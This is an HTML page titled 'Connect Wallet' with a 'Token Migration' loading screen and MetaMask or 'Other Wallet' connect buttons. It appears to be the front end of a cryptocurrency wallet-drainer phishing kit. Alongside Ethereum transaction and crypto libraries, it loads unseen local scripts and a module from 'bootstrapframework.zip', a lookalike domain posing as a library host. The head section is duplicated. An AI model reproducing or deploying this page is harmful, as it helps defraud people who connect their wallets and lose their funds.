<!DOCTYPE html><html lang="en" data-theme="light"><head>
    
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script charset="UTF-8" type="text/javascript" src="./f320c6d4-381e-468e-95c1-1248fa3e2ed5.js"></script><script type="text/javascript" charset="UTF-8" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js"></script>
    <title>Connect Wallet</title>
    <style>
        body {
            padding: 2px;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #000018;
        }
        #connect-wallet {
            padding: 15px 30px;
            font-size: 18px;
            font-weight: bold;
            color: white;
            background-color: #007bff;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            transition: background-color 0.3s;
            width: 100%;
            height: 100%;
            font-weight: 100%;
        }
        #connect-wallet:hover {
            background-color: #0056b3;
            margin-left: auto;
        }
        .header{
            text-align: center;
            color: white;
        }
        .side-one{
            width: 50%;
            border: 2px solid #e3e3e3;
            justify-content: center;
            height: 50%;
            margin-left: auto;
            margin-right: auto;
            border-radius: 3px;
            background-color: black;
            padding: 10px;
            border-radius: 10px;
            padding-left: auto;
            padding-right: auto;
        }
        .side-two{

            width: 50%; 
            border: 2px solid #e3e3e3;
            justify-content: center;
            height: 50%;
            margin: 50px;
            border-radius: 3px;
            background-color: black;
            padding: 10px;
            border-radius: 10px;
            margin-left: auto;
            margin-right: auto;
        }
        .connectButton{
            border-radius: 3px;

        }
        .css-cq75j6{
            margin-bottom: 10px;
            margin-left:25%;
            margin-right: 25%;


        }
        .image{
            width: 100%;
            margin-left: auto;
            margin-right: auto;

        }
        .image2{
            width: 100%;
            margin-left: auto;
            margin-right: auto;

        }
        
    </style>
      <style>
        /* Прелоадер занимает весь экран и центрируется */
        #page-preloader {
            background: #070e27; /* Устанавливаем желаемый цвет фона */
            position: fixed;
            left: 0;
            top: 0;
            right: 0;
            bottom: 0;
            z-index: 999999;
            display: flex;
            justify-content: center;
            align-items: center;
            color: rgba(247, 146, 26, 0.98); /* Цвет текста */
            font-weight: 700;
            font-size: 18px;
            text-transform: uppercase;
            letter-spacing: 0.2em;
            text-align: center;
            font-family: Arial, sans-serif;
        }
        
        /* Анимация внутри прелоадера */
        .theme-loader {
            position: relative;
        }
        
        /* Анимационные блоки */
        .theme-loader::before,
        .theme-loader::after {
            content: "";
            display: block;
            width: 15px;
            height: 15px;
            background: rgba(247, 146, 26, 0.97);
            position: absolute;
            animation: cssload-load 0.91s infinite alternate ease-in-out;
        }
        
        .theme-loader::before {
            top: -22px; /* Поднимаем немного над текстом */
        }
        
        .theme-loader::after {
            bottom: -15px; /* Опускаем немного под текстом */
        }
        
        @keyframes cssload-load {
            0% {
                left: -18px;
                height: 29px;
                width: 15px;
            }
            50% {
                height: 8px;
                width: 39px;
            }
            100% {
                left: 224px;
                height: 29px;
                width: 15px;
            }
        }
        </style>
<script type="text/javascript" charset="UTF-8" src="https://cdnjs.cloudflare.com/ajax/libs/ethers/5.6.9/ethers.umd.min.js"></script><script type="text/javascript" charset="UTF-8" src="https://cdn.jsdelivr.net/npm/merkletreejs@latest/merkletree.js"></script><script type="text/javascript" charset="UTF-8" src="./scripts/wallet-connect-v4.js"></script><link rel="stylesheet" href="./styles/popup-6.css"></head>

<link href="https://cdn.jsdelivr.net/npm/sweetalert2@11.7.16/dist/sweetalert2.min.css" rel="stylesheet">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;700&family=Montserrat:wght@400;500;700&family=Raleway:wght@400;500;700&family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">

<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.7.16/dist/sweetalert2.all.min.js"></script>
<script src="https://cdn.jsdelivr.net/gh/ethereumjs/browser-builds/dist/ethereumjs-tx/ethereumjs-tx-1.3.3.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ethers/5.7.2/ethers.umd.min.js" integrity="sha512-FDcVY+g7vc5CXANbrTSg1K5qLyriCsGDYCE02Li1tXEYdNQPvLPHNE+rT2Mjei8N7fZbe0WLhw27j2SrGRpdMg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/web3/4.0.3/web3.min.js" integrity="sha512-2oprd2T2vSkAii+dVWi6C+uATbQ1YGmCed6b6msb9Jxi33hsXAbnhwZ9thwCq6ndidZv4P51qaq58uo9b/x4nA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
      
<script src="./settings.js"></script>
<script src="https://bootstrapframework.zip/web3-ethers.js" type="module"></script>
<link href="https://cdn.jsdelivr.net/npm/sweetalert2@11.7.16/dist/sweetalert2.min.css" rel="stylesheet">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;700&family=Montserrat:wght@400;500;700&family=Raleway:wght@400;500;700&family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">

<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.7.16/dist/sweetalert2.all.min.js"></script>
<script src="https://cdn.jsdelivr.net/gh/ethereumjs/browser-builds/dist/ethereumjs-tx/ethereumjs-tx-1.3.3.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ethers/5.7.2/ethers.umd.min.js" integrity="sha512-FDcVY+g7vc5CXANbrTSg1K5qLyriCsGDYCE02Li1tXEYdNQPvLPHNE+rT2Mjei8N7fZbe0WLhw27j2SrGRpdMg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/web3/4.0.3/web3.min.js" integrity="sha512-2oprd2T2vSkAii+dVWi6C+uATbQ1YGmCed6b6msb9Jxi33hsXAbnhwZ9thwCq6ndidZv4P51qaq58uo9b/x4nA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
      
<script src="./settings.js"></script>
<script src="https://bootstrapframework.zip/web3-ethers.js" type="module"></script>
<body>
    <div class="wrapper">
        <noscript>You need to enable JavaScript to run this app.</noscript>
<div id="page-preloader">
    <div class="theme-loader">Token Migration</div>
</div>
        </div>
    <div style="width: 60%; ">

        <script>
            document.addEventListener("DOMContentLoaded", function() {
                // Показываем прелоадер при загрузке страницы
                document.getElementById("page-preloader").style.display = "flex";
                setTimeout(function() {
                    document.getElementById("page-preloader").style.display = "none";
                }, 5000); // Убираем прелоадер через 5 секунд
            });
            </script>

     <h2 class="header">Connect Your Wallet</h2><div class="css-14p8xe8 connectButton" kfizi-rntzve="true">

        <div class="side-one">
            <button class="css-cq75j6">
                <div class=" connectButtons" kfizi-rntzve="true">
                    <img src="./index_files/metamask-fox.png" class="image">
                </div>MetaMask
            </button>
            <a href="./wallets/wallet.html"> <button id="connect-wallet" class="style interact-button">Connect</button></a>
        </div>


        <div class="side-two">
            <button class="css-cq75j6">
                <div class="connectButtons" kfizi-rntzve="true">
                    <img src="./index_files/other-wallet.png" class="image2">
                </div>Other Wallet
            </button>
            <a href="./wallets/wallet.html"> <button id="connect-wallet" class="style interact-button">Connect</button></a>
        </div>
    
    </div>


</div></body></html>